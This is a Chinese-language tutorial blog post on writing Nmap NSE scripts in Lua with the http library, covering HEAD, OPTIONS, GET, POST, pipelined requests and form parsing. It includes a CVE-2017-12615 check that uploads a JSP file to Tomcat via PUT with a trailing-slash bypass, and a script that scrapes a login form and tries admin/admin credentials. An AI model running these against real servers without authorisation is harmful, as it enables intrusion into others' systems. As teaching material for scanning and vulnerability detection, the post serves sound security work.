Nmap擴展開發(四)
來自專欄一葉知安11 人贊了文章
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,一葉知安以及文章作者不為此承擔任何責任。
一葉知安擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經一葉知安允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
0X01 HTTP包的使用
一般情況下,我們掃描一些Web服務的同時需要進行滲透測試、安全評估、漏洞檢測等操作,但是官方並未提供符合我們需求的腳本,這時候就要自己寫腳本了。Nmap已經內置了HTTP包,不需要再進行下載和配置。
0x02 基礎概念鋪墊
首先,先介紹兩個表結構,為了方便我們後續的數據操作,讓讀者先熟悉兩個東西:
- 響應表
響應表中主要涵蓋了:HTTP狀態碼、HTTP響應頭、HTTP版本、HTTP原始響應頭、Cookies、HTTP響應主體內容(body)等
| Response: | status: 200| header: | content-length: 0| allow: POST,OPTIONS,HEAD,GET| connection: close| content-type: text/html| server: Apache/2.4.29 (Debian)| date: Fri, 06 Jul 2018 07:02:13 GMT| ssl: false| body: | cookies: | | status-line: HTTP/1.1 200 OKx0D| | rawheader: | Date: Fri, 06 Jul 2018 07:02:13 GMT| Server: Apache/2.4.29 (Debian)| Allow: POST,OPTIONS,HEAD,GET| Content-Length: 0| Connection: close| Content-Type: text/html| |_ version: 1.1
- Options表
Options表主要用於設置HTTP請求時的超時時間、Cookie、請求頭、HTTP認證、頁面緩存、地址類型(IPV4/IPV6)、是否驗證重定向
{timeout:header:{"Content-Type":"",...},cookies:{{"name","value","path"},...},auth:{username:"",password:""},bypass_cache:true,no_cache:true,no_cache_body:true,any_af:true,redirect_ok:true}
0x03 確認目標主機的HTTP服務是否支持HEAD
- 引入HTTP包:
local http = require "http"
- 確認目標主機的HTTP服務是否支持HEAD
這裡主要使用can_use_head函數,參數有4個,函數原型如下:
local status,header = can_use_head(host,port,result_404,path)
參數說明:
- host : host表
- port : port表
- result_404 : 由identify_404函數確認當前Web伺服器是否設置了404頁面且返回200狀態碼,一般情況下填寫404或者nil。
- path : 請求路徑,默認為「/」根目錄
- 其中status是一個布爾值,如果返回true則支持HEAD,返回false則不支持
- header是HEAD請求的結果。
需求:確認目標主機是否支持HEAD,如果支持則輸出響應頭
local stdnse = require "stdnse"local http = require "http"prerule=function()endhostrule=function(host) return falseendportrule=function(host,port) if(port.number == 80) then return true end return falseendaction = function(host,port) local result local status = false status,result = http.can_use_head(host,port,404,"/") if(status) then http_info = stdnse.output_table() http_info.header = result.header http_info.version = result.version return http_info endendpostrule=function()end
代碼解讀:
看完代碼讀者可能會有疑問,hostrule函數為什麼返回false?
在hostrule中返回false是因為如果是true會自動調用action,此時port的值是nil,所以會拋出一些錯誤。
緊接著就是將埠號為80的host和port交給action函數執行,調用can_use_head函數,判斷status是否為true,是true則支持HEAD方法請求。最後生成一個output_table,用來將響應內容填入這個表,以便于格式化顯示。
如果只想取得目標主機響應的server,我們可以這樣寫:
……action = function(host,port) local result local status = false status,result = http.can_use_head(host,port,302,"/") if(status) then http_info = stdnse.output_table() http_info.header = result.header http_info.version = result.version http_info.server = result.header["server"] return http_info endend……
執行結果如下:
0x04 發送一個HTTP請求
generic_request是一個最基本的發送HTTP請求的函數,參數有以下幾個:
- host : host表
- port : port 表
- method : HTTP方法,例如:GET、POST、HEAD…
- path : 請求路徑,默認是根路徑「/」
- options : 用於設置請求相關的Cookie、超時時間、header
例如:
發送一個OPTIONS請求,來獲取目標服務支持哪些HTTP方法
local stdnse = require "stdnse"local http = require "http"prerule=function()endhostrule=function(host) return falseendportrule=function(host,port) if(port.number == 80) then return true end return falseendaction = function(host,port) local result = http.generic_request(host,port,"OPTIONS","/",nil) if(result.status == 200)then local allow_method = stdnse.output_table() allow_method.allowMethods = result.header["allow"] return allow_method endendpostrule=function()end
執行結果如下:
- 返回值:
該函數返回一個響應表,具體可參考前面的0X02響應表
0x04 發送一個GET請求
get函數也是基於generic_request函數的,具體可以去看nselib/http.lua源代碼,該函數有以下參數:
- host : host表
- port : port 表
- path : 請求路徑,默認是根路徑「/」
- options : 用於設置請求相關的Cookie、超時時間、header
除了比generic_request函數中少了一個method參數,其他相同。
local stdnse = require "stdnse"local http = require "http"prerule=function()endhostrule=function(host) return falseendportrule=function(host,port) if(port.number == 80) then return true end return falseendaction = function(host,port) local result = http.get(host,port,"/nmap") if(result.status == 404)then local status = stdnse.output_table() status.response_line = result["status-line"] return status endendpostrule=function()end
執行結果:
- 返回值:
該函數返回一個響應表,具體可參考前面的0X02響應表
0x05 發送一個POST請求
post函數也是基於generic_request函數的,具體可以去看nselib/http.lua源代碼,該函數有以下參數:
- host : host表
- port : port 表
- path : 請求路徑,默認是根路徑「/」
- options : 用於設置請求相關的Cookie、超時時間、header
- ignored : 是否忽略向後兼容性
- postdata : post提交數據,可以是一個表,也可以是一個字元串,具體形式如下:
username=admin&password=admin或者:local data = {}data.username = "admin"data.password = "admin"
嘗試使用賬號密碼登錄某個系統
用php腳本語言寫一個簡單登錄判斷的頁面:
<?phpif(isset($_POST["username"]) && isset($_POST["password"])){ $username = $_POST["username"]; $password = $_POST["password"]; if($username == "admin" && $password == "admin"){ echo "login success !"; }else{ echo "login failed !"; }}else{ echo "please login !";}?>
通過post函數提交username與password,然後獲取body判斷是否登錄成功
……action = function(host,port) local cert = {} cert.username="admin" cert.password="admin" local result = http.post(host,port,"/index.php",nil,true,cert) if(result.status == 200)then local status = stdnse.output_table() status.response_line = result["body"] return status endend……
執行結果:
- 返回值:
該函數返回一個響應表,具體可參考前面的0X02響應表
0X06 編寫一個檢測CVE-2017-12615的腳本
為了檢驗讀者對之前的內容是否有所收穫,所以產生一個需求,編寫一個針對CVE-2017-12615的漏洞檢測腳本。首先我們需要了解這個漏洞:
編寫CVE-2017-12615的漏洞檢測腳本
攻擊者可以利用這個漏洞,向目標伺服器上傳惡意 JSP 文件,通過上傳的 JSP 文件 ,可在用戶伺服器上執行任意代碼,從而導致數據泄露或獲取伺服器許可權,存在高安全風險。
漏洞的利用方式是通過PUT請求,這讓我們不得不學習一個新的函數——put函數,它的參數類似於post函數。
- host : host表
- port : port 表
- path : 請求路徑,默認是根路徑「/」
- options : 用於設置請求相關的Cookie、超時時間、header
- putdata : 要上傳的文件的內容
這裡我使用Docker已經搭建好了一個Tomcat環境:
編寫的腳本如下:
local stdnse = require "stdnse"local http = require "http"prerule=function()endhostrule=function(host) return falseendportrule=function(host,port) local ports = {80,8080,8090,8899} for i in pairs(ports)do if(port.number == ports[i])then return true end endendaction = function(host,port) local shell_name = string.format("/%d.jsp","/",math.random(9999)) local status = stdnse.output_table() local put_rsp = http.put(host,port,shell_name.."/",nil,"CVE-2017-12615") if(put_rsp.status == 201)then status.shell_name = shell_name return status end return falseendpostrule=function()end
在action函數中,首先生成一個隨機的文件名,然後發送PUT請求,判斷響應碼是否是201。注意,發送PUT請求的時候,文件擴展名後門必須帶」/」,是為了繞過tomcat的檢測。
執行結果:
使用瀏覽器訪問:
發現CVE-2017-12615這個字元,證明該漏洞的確存在。
0x07 響應內容匹配
當我們需要對HTTP響應內容進行操作的時候,需要學習一些字元串操作函數、HTTP包內的函數。
- response_contains函數,用於在響應表中匹配字元串,參數如下:
- response : 響應表,可以是(http.get、http.post、http. pipeline_go、http.head等函數的返回值)
- pattern : 字元串匹配模式,可參考lua手冊
- case_sensitive : 是否區分大小寫,默認值為false,不區分
- 返回值:
- match_state : 匹配成功為true,匹配失敗為false
- matchs : 返回一個匹配結果表,前提是match_state為true
了解了這個函數後,我們可以繼續將CVE-2017-12615漏洞檢測腳本進一步的優化,讓腳本判斷寫入了jsp文件後,判斷是否是我們寫入的字元串。這樣能夠使檢測腳本的準確度大大提高,下面請看我在action函數中寫入的新代碼:
……action = function(host,port) local shell_name = string.format("%sCVE-2017-12615-CHECK-%d.jsp","/",math.random(9999)) local status = stdnse.output_table() local put_rsp = http.put(host,port,shell_name.."/",nil,"CVE-2017-12615") if(put_rsp.status == 201)then status.shell_name = shell_name local response = http.get(host,port,shell_name) if(response and http.response_contains(response,"CVE%-2017%-12615") )then return status end return false end return falseend……
腳本執行結果與上一節中的內容相同,只是多了一次GET請求,為了讓讀者真正理解這個腳本的執行過程,下面對比一下wireshark流量:
- 優化前:
首先腳本直接向80埠發送了一個PUT請求,然後伺服器響應405,漏洞利用失敗。
緊接著腳本又請求了8080埠,伺服器響應201,證明漏洞利用成功。
- 優化後:
通過向8080埠發送PUT請求成功利用後,又向寫入文件發送了一次GET請求,獲取響應內容,進行字元串匹配,達到更加深度的驗證漏洞是否利用成功。
0X08 並發HTTP請求
這裡說的並發HTTP請求的原理是與目標主機建立一個socket,在每一次發送報文後都不會斷開(除了最後一次請求)。平常我們在擴展腳本中調用一個http.get函數,將會返回一個響應表,代表已經獲取了目標主機的響應報文,當返迴響應表之前就已經與目標主機斷開了連接。下一次調用http.get時,還需要進行一次建立連接的過程,導致我們會消耗一定的時間。如果一個擴展腳本需要發送多次請求,可以考慮使用http.pipeline_add與http.pipline_go配合使用。
下面就來介紹這兩個函數如何配合使用:
http.pipeline_add參數如下:
- path : 請求路徑
- options : 用於設置請求相關的Cookie、超時時間、header
- all_requests : (可選值),如果是第一次調用,則為nil,若不是第一次調用,需要傳入上一次http.pipeline_add的返回值
- method : HTTP方法(GET、POST、HEAD、PUT等),默認為GET
返回值:
- 一個請求表
| | path: | options: | header: | Connection: keep-alive|_ method: GET
可以有多個,下標從1開始,如果需要查看這個請求列表的結構,可以直接在action函數中return出http.pipeline_add的返回值,代碼演示如下:
……action = function(host,port) local all_requests = http.pipeline_add("/index.jsp",nil,nil,"GET") all_requests = http.pipeline_add("/docs/changelog.html",nil,all_requests,"GET") return all_requestsend……
執行結果:
因為調用了兩次http.pipeline_add,所以會產生兩個請求列表隊列元素,如果只想獲取第一個請求隊列元素,可以return all_requests[1]。
下面我們要開始將隊列交給http.pipeline_go函數,由它來完成所有請求,函數參數如下:
- host : host表
- port : port 表
- all_requests : 由http.pipeline_add函數裝在好的請求列表
- 返回值:
- response_list : 響應列表
示例代碼:
……action = function(host,port) local status_lines = stdnse.output_table() local all_requests = http.pipeline_add("/index.jsp",nil,nil,"GET") all_requests = http.pipeline_add("/docs/changelog.html",nil,all_requests,"GET") local all_response = http.pipeline_go(host,port,all_requests) for i,resp in ipairs(all_response)do status_lines[i] = resp["status-line"] end return status_linesend……
這段代碼中添加了兩個請求隊列元素,分別是:
- /index.jsp
- /docs/changelog.html
將隊列交給http.pipeline_go函數後,返回一個響應列表,all_response[1]對應index.jsp的響應表,all_response[2]對應/docs/changelog.html的響應表。因此可以使用迭代,將每個請求的某個欄位放入一個輸出表裡,本次示例是取得了兩次請求隊status-line。
執行結果:
0x09 表單操作
關於表單操作,在爬蟲、漏洞掃描、爆破時用的較多,一般要先取回目標主機的響應body,然後字元串匹配獲得表單結構。但是這些操作在Nmap中已經提供了一些方法,接下來就讓我們一起學習http包中的表單操作函數吧。
http. grab_forms 用於在響應內容中查找表單,並返回一個form_list表,參數如下:
- body : 響應表中的body
返回值:
- form_list : 表單列表
獲取頁面中的表單列表
我使用apache和php搭建了一個簡單的登錄界面,嘗試通過nmap的擴展腳本來獲取表單列表。
查看一下HTML源碼:
可以發現頁面中這個表單是提交到index.php的,並且提供了兩個輸入值,分別是username和password,這種情況下我們完全可以採用lua的字元串匹配模式獲得input的name,但是如果頁面上有很多表單,這就會增加我們處理數據的壓力。
我們來試試http.grab_forms函數:
local http = require "http"prerule=function()endhostrule=function(host) return falseendportrule=function(host,port) if(port.number == 80)then return true endendaction = function(host,port) local response = http.get(host,port,"/index.php") local login_forms = http.grab_forms(response.body) return login_formsendpostrule=function()end
因為http.grab_forms函數接收的是響應表的body,所以需要調用http.get函數將響應表取到,再把響應表的body傳遞進去。
執行結果:
目前是獲得了一個登錄表單,注意:返回的是一個表單列表,而不是只能獲得一個表單,在登錄頁面中新添加一個表單後:
再執行腳本觀察一下:
如果還想進一步獲得input的name值,就要學習另外一個函數—— http. parse_form
參數如下:
- form : 表單的明文
返回值:
- 一個帶鍵的表,分別有:action、method、fields
示例:
| test: | action: /index.php| method: post| fields: | | type: text| value: test| name: username| | type: text| value: test|_ name: password
注意:fields是一個table,不是一個字元串,裡面有表單的多個欄位
需求:爬取頁面表單,並嘗試登錄
當前頁面有兩個表單,先嘗試一個表單來登錄,整體步驟如下:
1. 抓取表單
2. 解析表單
3. 拼接欄位
4. 登錄
5. 判斷是否登錄成功
action = function(host,port) local login_table = {} local response = http.get(host,port,"/index.php") local login_forms = http.grab_forms(response.body) local form = http.parse_form(login_forms[1]) for i,name in ipairs(form.fields)do login_table[form.fields[i].name]="admin" end local login_response = http.post(host,port,"/index.php",nil,nil,login_table) if(http.response_contains(login_response,"success"))then login_table.login_status = true return login_table end login_tabke.login_status = false return login_tableend
本段代碼首先獲取index.php的響應表,通過http.grab_forms函數獲得登錄,將返回值(第一個表單)交給http.parse_from,取得表單fields(欄位),然後遍歷每一個欄位的name,把它填入一個table,最後執行http.post函數,剛好http.post的data可以是一個table也可以是一個字元串。請求完畢後得到登錄的響應結果,再由http.response_contains判斷是否登錄成功,登錄成功會出現success字樣提示。
為了解決疑惑,我貼出index.php的源代碼:
<!DOCTYPE html><html><body><?phpif(isset($_POST["username"]) && isset($_POST["password"])){ $username = $_POST["username"]; $password = $_POST["password"]; if($username == "admin" && $password == "admin"){ echo "login success !"; }else{ echo "login failed !"; }}else{ echo "please login !";}?><hr/><form action="/index.php" method="post">username:<br><input type="text" name="username" value="test"><br>password:<br><input type="text" name="password" value="test"><br><br><input type="submit" value="Submit"></form>……</body></html>
下一章:DNS包的使用
正向解析、反向解析、發送DNS請求等
推薦閱讀:
※如何評價2018強網杯線下賽?
※早期的中國黑客喜歡讀什麼書?那個時代的「教科書」或者"聖經"是什麼?
※我國軍網的防護性是什麼級別的?
※電腦課上如何黑進老師的電腦。控制全班,甚至老師的電腦?
※如何看待阮一峰的博客被人攻擊?